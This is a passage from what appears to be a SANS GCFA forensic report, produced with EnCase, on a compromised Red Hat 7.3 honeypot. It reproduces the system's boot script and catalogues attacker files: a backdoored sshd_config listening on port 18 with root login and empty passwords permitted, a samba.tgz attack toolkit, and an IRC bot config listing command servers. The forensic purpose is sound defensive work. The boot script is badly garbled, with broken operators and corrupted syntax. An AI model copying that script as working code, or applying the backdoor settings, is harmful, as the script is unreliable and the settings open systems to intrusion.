  action "$Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi

# Clear mtab
>/etc/mtab

# Remove stale backups
rm -f /etc/mtab~ /etc/mtab~~

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -f /
mount -f /proc
[ -e /dev/.devfsd ] & & mount -f -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
  IN_INITLOG=
fi

if ! grep -iq nomoduless /proc/cmdline >/dev/null 2>&1 & & [ -f /proc/ksyms ]; then
  USEMODULES=y
else
  USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/despmod -a -n "$USEMODULES" ]; then
  # If they aren't using a recent sane kernel, make a link for them
  if [ ! -n "$uname -r " grep -- "-s" ]; then
    ktag="`cat /proc/version`"
    mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`
  fi
```
if [ -n "$mtag" ]; then
    mver="`echo $mtag | sed 's,/lib/modules/,,; s/.rhkmvtag/,,; s,[ ]*,,`"
    fi
    if [ -n "$mver" ]; then
        ln -sf /lib/modules/$mver /lib/modules/default
    fi
    fi
    if [ -L /lib/modules/default ]; then
        INITLOG_ARGS= action "$Finding module dependencies: " depmod -A default
    else
        INITLOG_ARGS= action "$Finding module dependencies: " depmod -A
    fi

    # tweak isapnp settings if needed.
    if [ -n "$PNP" -a -f /proc/isapnp -a -x /sbin/sndconfig ]; then
        /sbin/sndconfig --mungepnp >/dev/null 2>&1
    fi

    # Load sound modules iff they need persistent DMA buffers
    if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null; then
        RETURN=0
        alias="/sbin/modprobe -c | awk '{print $3}'"
        if [ -n "$alias" -a "$alias" != "off" ]; then
            action "$Loading sound module ($alias): " modprobe sound
            RETURN=$?
        fi
        alias="/sbin/modprobe -c | awk '{print $3}'"
        if [ -n "$alias" -a "$alias" != "off" ]; then
            action "$Loading sound module ($alias): " modprobe sound-slot-0
            RETURN=0
        fi
    fi
    fi
    fi
    if [ -f /proc/sys/kernel/modprobe ]; then
        if [ -n "$USEMODULES" ]; then
            sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
            sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
        else
            # We used to set this to NULL, but that causes 'failed to exec' messages
            sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
            sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
        fi
    fi
    "
    else
        # Load modules (for backward compatibility with VARs)
        if [ -f /etc/rc.modules ]; then
            /etc/rc.modules
        fi
    "
    # Add raid devices
    if [ ! -f /proc/mdstat ]; then
        modprobe md >/dev/null 2>&1
    fi
    fi
    if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
        echo -n "$Starting up RAID devices: "
        rc=0
        for i in `grep '^\^[]*raiddev^' /etc/raidtab | awk '{print $2}'`
        do
            RAIDDEV=`basename $i`
            RAIDSTAT='grep "$RAIDDEV : active" /proc/mdstat'
            if [ -z "$RAIDSTAT" ]; then
                # First scan the /etc/fstab for the "noauto"-flag
                # for this device. If found, skip the initialization
                # for it to avoid dropping to a shell on errors.
EnCase Computer Analysis Report

# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 ]; then
  /sbin/raidstart $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  /sbin/raid0run $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  /sbin/raidadd -a $i
  /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
  echo -n "$RAIDDEV 
else
  echo -n "$RAIDDEV 
fi
done

# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
echo
echo "$*** An error occurred during the RAID startup"
echo "$*** Dropping you to a shell; the system will reboot"
echo "$*** when you leave the shell."
PS1="(RAID Repair) # # "); export PS1
sulogin
echo "$Unmounting file systems"
umount -a
mount -n -o remount,ro /
echo "$Automatic reboot in progress."
reboot -f
fi

# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$Setting up Logical Volume Management:" /sbin/vgscan &
  /sbin/vgchange -a y
fi

_RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING="$Checking filesystems"
echo $STRING
  initlog -c "$fsck -T -R -A -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  esac
else
  echo "$*** An error occurred during the RAID startup"
  echo "$*** Dropping you to a shell; the system will reboot"
  echo "$*** when you leave the shell."
  PS1="(RAID Repair) # # "); export PS1
  sulogin
  echo "$Unmounting file systems"
  umount -a
  mount -n -o remount,ro /
  echo "$Automatic reboot in progress."
  reboot -f
fi
# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
  failure "STRING"
  echo
echo "*** An error occurred during the file system check."
echo "*** Dropping you to a shell; the system will reboot"
echo "*** when you leave the shell."

PS1="$"{Repair filesystem} "; export PS1

su login

echo "$"{Unmounting file systems}
umount -a
mount -n -o remount,ro /

"Automatic reboot in progress."
reboot -f

elif [ "$Src" -eq "1" -a -x /sbin/quotacheck ]; then
  _RUN_QUOTACHECK=1
fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already # mounted). Contrary to standard usage, # filesystems are NOT unmounted in single user mode.
action "$"{Mounting local filesystems: }

# check remaining quotas other than root
if [ "X"_RUN_QUOTACHECK* = X1 ]; then
  if [ -x /sbin/convertquotas ]; then
    # try to convert old quotas
    for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
      action "$"{Converting old user quota files: }
      /sbin/convertquota -u $mountpt &&
      rm -f $mountpt/quota.user
    done
  fi

  if [ -f "$mountpt/quota.group" ]; then
    action "$"{Converting old group quota files: }
    /sbin/convertquota -g $mountpt &&
    rm -f $mountpt/quota.group
  fi

  done

action "$"{Checking local filesystem quotas: }

if [ -x /sbin/quotaon ]; then
  action "$"{Enabling local filesystem quotas: }

# Configure machine if necessary.
if [ -x /.unconfigured ]; then
  if [ -x /usr/bin/passwd ]; then
    /usr/bin/passwd root
  fi
  if [ -x /usr/sbin/netconfig ]; then
    /usr/sbin/netconfig
  fi
  if [ -x /usr/sbin/timeconfig ]; then
    /usr/sbin/timeconfig
  fi
  if [ -x /usr/sbin/kbdconfig ]; then
    /usr/sbin/kbdconfig
  fi
  if [ -x /usr/sbin/authconfig ]; then
    /usr/sbin/authconfig --nostart
  fi
  if [ -x /usr/sbin/authconfig ]; then
    /usr/sbin/authconfig --nostart
  fi
fi

fi

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
fi
if [ -x /usr/sbin/ntsysv ]; then
    /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
    /etc/sysconfig/network
fi

# Reset the hostname.
action "$\{HOSTNAME\}: " hostname "$\{HOSTNAME\}"

rm -f /.unconfigured
fi

# Clean out /etc.
rm -f /fastboot /fsckoptions /forcefsck /autofsck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...

_NEED_XFILES=
if [ ! -f /var/run/utmpx -o ! -f /var/log/wtmpx ] && _NEED_XFILES=1
# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
    if [ -d "$afile" ]; then
        [ "basename $afile" != "news" -a "basename $afile" != "sudo" -a "basename $afile" != "mon" ] && rm -f $afile/*
    else
        rm -f $afile
    fi
done

rm -f /var/lib/rpm/__db*

# Reset pam_console permissions
if [ -x /sbin/pam_console_apply ]; then
    /sbin/pam_console_apply -r
fi

# Clean up utmp/wtmp
/var/run/utmp
touch /var/log/wtmp
chgrp utmp /var/run/utmp /var/log/wtmp
chmod 0664 /var/run/utmp /var/log/wtmp
if [ ! "$_NEED_XFILES" ]; then
    /var/run/utmp
    touch /var/log/wtmp
    chgrp utmp /var/run/utmp /var/log/wtmp
    chmod 0664 /var/run/utmp /var/log/wtmp
fi

# Delete X locks
rm -f /tmp/.X*lock

# Delete VNC & X locks
rm -rf /tmp/.X*unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL*

# Now turn on swap in case we swap to files.
swapon -a
action "$\{Enabling swap space\}: " /bin/true

# Initialize the serial ports.
if [ ! -f /etc/rc.serial ]; then
    /etc/rc.serial
fi
# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [ -f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
    if grep -qv ' 9 st' /proc/devices ; then
        # Try to load the module. If it fails, ignore it...
        insmod -p st >/dev/null 2>&1 && modprobe st >/dev/null 2>&1
    fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ] ; then
    modprobe usb-storage >/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
    modprobe ide-cd >/dev/null 2>&1
    modprobe ide-scsi >/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [ -e /proc/ide ] ; then
    for N in `grep -v ide-disk /proc/ide/*/*/driver 2>/dev/null | awk '{ print $5 }'`; do
        hdparm -q -d0 /dev/$N >/dev/null 2>&1
    done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#
    disk[0]=s;
if [ -x /sbin/hdparm ] ; then
    for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
        unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
        if [ -f /etc/sysconfig/harddisk$[disk[$device]] ]; then
            . /etc/sysconfig/harddisk$[disk[$device]]
            HDFLAGS[$device]=
        else
            if [ -n "$MULTIPLE_IO" ]; then
                HDFLAGS[$device]="-q -m$MULTIPLE_IO"
            fi
            if [ -n "$USE_DMA" ]; then
                HDFLAGS[$device]="$[HDFLAGS[$device]] -q -d$USE_DMA"
            fi
            if [ -n "$EIDE_32BIT" ]; then
                HDFLAGS[$device]="$[HDFLAGS[$device]] -q -c$EIDE_32BIT"
            fi
            if [ -n "$LOOKAHEAD" ]; then
                HDFLAGS[$device]="$[HDFLAGS[$device]] -q -a$LOOKAHEAD"
            fi
            if [ -n "$EXTRA_PARAMS" ]; then
                HDFLAGS[$device]="$[HDFLAGS[$device]] $EXTRA_PARAMS"
            fi
        else
            HDFLAGS[$device]=""
        fi
    done
fi

HDFLAGS[$device]="$\{HDFLAGS[0]\}"
fi
if [ -e /proc/ide/$disk[$device]/media ] ; then
  hdmemailer=cat /proc/ide/$disk[$device]/media
  if [ "$hdmemailer" = "disk" -o -f /etc/sysconfig/harddisk$disk[$device] ] ; then
    if [ -n "$HDFLAGS[$device]" ] ; then
      action "$Setting hard drive parameters for $disk[$device]: " /sbin/hdparm $\{HDFLAGS[$device]\} /dev/$disk[$device]
    fi
  fi
done

# Generate a header that defines the boot kernel.
/sbin/mkkernelhead

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [ -L /boot/System.map ~a -r /boot/System.map~a -a 
! /boot/System.map ~ef /boot/System.map~e`uname` ~a ] ; then
  ln ~a ~f System.map~a`uname` ~a /boot/System.map
fi
if [ ! -e /boot/System.map ~a -r /boot/System.map~a ] ; then
  ln ~a ~f System.map~a /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/`uname`-redhat-kernel.so* ; do
  ln -s $library /lib/
done
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
/sbin/dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ] ; do
  if [ ! -f /var/log/ksyms.$i ] ; then
    mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
  fi
  i=$(($i-1))
done

/bin/date;
/bin/uname ~a;
/bin/cat /proc/cpuinfo;
[ -r /proc/modules ] && /bin/cat /proc/modules;
[ -r /proc/ksem ] && /bin/cat /proc/ksem] > /var/log/ksyms.0

# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ~/.autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1

if [ "$PROMPT" != "no" ] ; then
  /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path /%Sans GCFACert Assignment/Linux 7.3 Honey pot system/%sbin/sshd_config
Entry Modified 06/29/03 03:25:20PM
Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

**Config files**

httpd configuration files

40) Name access.conf
    Description File
    Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
    Entry Modified 06/20/03 02:17:32AM
    Last Accessed 06/29/03 04:02:23AM
    Last Written 04/09/02 12:56:58PM
    Hash Value 5cfc0c5e40cc02c415b7bd1c6f325eecc
    Physical Size 1,024
    Logical Size 285

41) Name httpd.conf
    Description File
    Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
    Entry Modified 06/27/03 02:11:35PM
    Last Accessed 06/29/03 04:02:23AM
42) Name: srm.conf  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf  
Entry Modified: 06/20/03 02:17:32AM  
Last Accessed: 06/29/03 04:02:23AM  
Last Written: 04/09/02 12:56:58PM  
Hash Value: b0366af9aad99e0f7515bbdc255e9a23  
Physical Size: 1,024  
Logical Size: 297

43) Name: httpd.conf.bak  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak  
Entry Modified: 06/27/03 02:08:34PM  
Last Accessed: 06/27/03 02:08:34PM  
Last Written: 04/09/02 12:56:58PM  
Hash Value: 55d44549fa2d844e59257b0f6286e197  
Physical Size: 52,224  
Logical Size: 51,270

**Root kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name: samba.tgz  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\samba.tgz  
Entry Modified: 06/29/03 03:41:42PM  
Last Accessed: 06/29/03 03:41:56PM  
Last Written: 04/29/03 06:48:30AM  
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3  
Physical Size: 13,312  
Logical Size: 13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name: README  
Description: File  
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\README  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:34:10PM
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment: EnCase Computer Analysis Report

**Last Written:** 11/08/00 12:38:22AM  
**Hash Value:** 5f44d568618af6262120f7664cfcd6f6  
**Physical Size:** 4,096  
**Logical Size:** 3,398

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>46)</td>
<td>LinkEvents</td>
<td>File</td>
<td>06/29/03 03:43:55PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:43:55PM</td>
<td>a20fef753ecc02a2a21d18bcfe466808</td>
<td>1,024</td>
<td>80</td>
</tr>
<tr>
<td>47)</td>
<td>mech.set</td>
<td>File</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>01/29/03 05:11:38PM</td>
<td>d09d745a3eebdbec553e943a1c68f98e</td>
<td>2,048</td>
<td>1,150</td>
</tr>
<tr>
<td>48)</td>
<td>checklpd</td>
<td>File</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>ff23e76196e176c1e66a4a6f1d7718</td>
<td>1,024</td>
<td>942</td>
</tr>
<tr>
<td>49)</td>
<td>lpd.usr</td>
<td>File</td>
<td>06/29/03 07:00:27PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 07:00:27PM</td>
<td>e64ef3ddd690630d1cdec07593ee9e8</td>
<td>1,024</td>
<td>352</td>
</tr>
<tr>
<td>50)</td>
<td>M4c4r0n.seen</td>
<td>File</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:20:20PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

#### Page 238

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>472</td>
<td>0</td>
</tr>
</tbody>
</table>

**51)** Name: `configure`
**Description:** File
**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\`/tmp\`.font-\unix\`.X11-pipe\`configure
**Entry Modified:** 06/29/03 03:32:50PM
**Last Accessed:** 06/29/03 03:34:10PM
**Last Written:** 10/09/00 06:22:02PM
**Hash Value:** 2b3e480699a38040311204acc1a4224b
**Physical Size:** 20,480
**Logical Size:** 20,290

**52)** Name: `MrIdiot.seen`
**Description:** File
**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\`/tmp\`.font-\unix\`.X11-pipe\`MrIdiot.seen
**Entry Modified:** 06/29/03 07:10:27PM
**Last Accessed:** 06/29/03 03:35:40PM
**Last Written:** 06/29/03 07:10:27PM
**Hash Value:** 938fa960b7f4f7e28e d7ff8e35cab9a4
**Physical Size:** 1,024
**Logical Size:** 148

**53)** Name: `mech.levels`
**Description:** File
**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\`/tmp\`.font-\unix\`.X11-pipe\`mech.levels
**Entry Modified:** 06/30/03 04:00:00PM
**Last Accessed:** 06/29/03 03:34:40PM
**Last Written:** 06/30/03 04:00:00PM
**Hash Value:** dc8afcc07717b77f9129f63d311
**Physical Size:** 2,048
**Logical Size:** 1,085

**54)** Name: `mech.pid`
**Description:** File
**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\`/tmp\`.font-\unix\`.X11-pipe\`mech.pid
**Entry Modified:** 06/29/03 03:32:59PM
**Last Accessed:** 06/29/03 03:34:10PM
**Last Written:** 06/29/03 03:32:59PM
**Hash Value:** 01548d54a5a49e425f86046ded9f9b8
**Physical Size:** 1,024
**Logical Size:** 6

**55)** Name: `mech.session`
**Description:** File
**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\`/tmp\`.font-\unix\`.X11-pipe\`mech.session
**Entry Modified:** 06/30/03 04:00:00PM
**Last Accessed:** 06/29/03 04:00:24PM
**Last Written:** 06/30/03 04:00:00PM
**Hash Value:** e5da1d9a12746f2cbbb181c00e66c875
**Physical Size:** 1,024
Logical Size 374

Comment: IRC server config file.

```
linkport -l
nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1

tog AOP 1
tog PROT 1
```

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667

56) Name Versions
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/VERSIONS
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name randinsult.e
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/randfiles/randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ebc9f7
Physical Size 4,096
Logical Size 3,982

58) Name randnicks.e
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/randfiles/randnicks.e
Entry Modified 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>randsay.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e</td>
</tr>
<tr>
<td>randversions.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e</td>
</tr>
<tr>
<td>com-ons.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c</td>
</tr>
<tr>
<td>com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o</td>
</tr>
<tr>
<td>commands.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:15:16AM
Hash Value a1b52263b8a66d7c90fc549ef70230c4
Physical Size 41,984
Logical Size 41,966

64) Name commands.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\commands.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:26PM
Hash Value 8ab8813b5d0f080b7aead258c9ffc958
Physical Size 109,568
Logical Size 109,244

65) Name gencmd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\gencmd
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:18PM
Hash Value 6f929c94c8a39954c7099b73c42ebf65
Physical Size 56,320
Logical Size 55,666

66) Name dcc.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\dcc.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e079886945868cdbd4a5e4952b4cbbb0
Physical Size 10,240
Logical Size 9,929

67) Name defines.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\defines.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 854b211a185d795497cc0a21c7778249
Physical Size 5,120
Logical Size 4,508

68) Name debug.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\debug.o
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:28PM
Hash Value eb3e3d5dad2d0e19b6b69b9e2aef790b2
Physical Size 64,512
Logical Size 64,160

69) Name link.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/link.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:28PM
Hash Value 95d3e136ed65b2c53ee8353761a23
Physical Size 97,280
Logical Size 96,896

70) Name global.h
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/global.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 06:12:04PM
Hash Value e6115dc63c46b08548e077a17da645aa
Physical Size 12,288
Logical Size 12,044

71) Name link.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/link.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e6115dc63c46b08548e077a17da645aa
Physical Size 47,104
Logical Size 46,547

72) Name gencmd.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/gencmd.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:30:22AM
Hash Value e7eac92bc1b111fc50b02a8748b5fd8
Physical Size 9,216
Logical Size 8,983

73) Name parse.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/parse.o
Entry Modified 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>74)</td>
<td>cfgfile.c</td>
<td>File</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:14:22PM</td>
<td>ee752441cd67aecc374e1d77ab4630977</td>
<td>17,408</td>
<td>16,951</td>
</tr>
<tr>
<td>75)</td>
<td>cfgfile.o</td>
<td>File</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>76)</td>
<td>socket.c</td>
<td>File</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>b47201862975f1ee5b7879658822cdf1</td>
<td>11,264</td>
<td>10,616</td>
</tr>
<tr>
<td>77)</td>
<td>services</td>
<td>File</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>78)</td>
<td>userlist.o</td>
<td>File</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\userlist.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Last Access</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
